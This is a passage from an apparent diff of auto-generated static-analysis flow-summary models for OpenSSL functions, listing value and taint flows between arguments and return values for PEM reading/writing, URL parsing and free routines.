"Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_X_DAY_OF_free", "(OSSL_TIME_SPEC_X_DAY_OF *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_X_DAY_OF_free", "(OSSL_TIME_SPEC_X_DAY_OF *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_free", "(OSSL_TIME_SPEC *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_free", "(OSSL_TIME_SPEC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_USER_NOTICE_SYNTAX_free", "(OSSL_USER_NOTICE_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_USER_NOTICE_SYNTAX_free", "(OSSL_USER_NOTICE_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_get_max_threads", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**7]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[*0]", "Argument[**8]", "value", "df-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_parse_url", "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_trace_get_category_name", "(int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_trace_get_category_name", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OTHERNAME_cmp", "(OTHERNAME *,OTHERNAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OTHERNAME_cmp", "(OTHERNAME *,OTHERNAME *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OTHERNAME_free", "(OTHERNAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OTHERNAME_free", "(OTHERNAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBE2PARAM_free", "(PBE2PARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBE2PARAM_free", "(PBE2PARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBEPARAM_free", "(PBEPARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBEPARAM_free", "(PBEPARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBKDF2PARAM_free", "(PBKDF2PARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBKDF2PARAM_free", "(PBKDF2PARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PBMAC1PARAM_free", "(PBMAC1PARAM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PBMAC1PARAM_free", "(PBMAC1PARAM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[*5]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read", "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)", "", "Argument[5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[*5]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_read_bio", "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)", "", "Argument[5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write", "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write", "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*8]", "Argument[**8]", "value", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write", "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[8]", "Argument[**8]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write_bio", "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write_bio", "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*8]", "Argument[**8]", "value", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write_bio", "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[8]", "Argument[**8]", "taint", "dfc-generated"] + - ["", "", True, "PEM_ASN1_write_bio_ctx", "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write_bio_ctx", "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*9]", "Argument[**9]", "value", "df-generated"] + - ["", "", True, "PEM_ASN1_write_bio_ctx", "(OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[9]", "Argument[**9]", "taint", "dfc-generated"] + - ["", "", True, "PEM_SignFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_SignFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_SignInit", "(EVP_MD_CTX *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "PEM_SignInit", "(EVP_MD_CTX *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "PEM_SignInit", "(EVP_MD_CTX *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_bio_ex", "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_read_ex", "(FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_write_bio", "(BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_X509_INFO_write_bio", "(BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_bytes_read_bio", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "PEM_bytes_read_bio", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_bytes_read_bio_secmem", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "df-generated"] + - ["", "", True, "PEM_bytes_read_bio_secmem", "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[**3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[*3]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[*3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_def_callback", "(char *,int,int,void *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_dek_info", "(char *,const char *,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "PEM_do_header", "(EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "PEM_get_EVP_CIPHER_INFO", "(char *,EVP_CIPHER_INFO *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_proc_type", "(char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[**2]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[*3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read", "(FILE *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_CMS", "(FILE *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DHparams", "(FILE *,DH **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DSAPrivateKey", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSA_PUBKEY", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_DSAparams", "(FILE *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_ECPKParameters", "(FILE *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*1]", 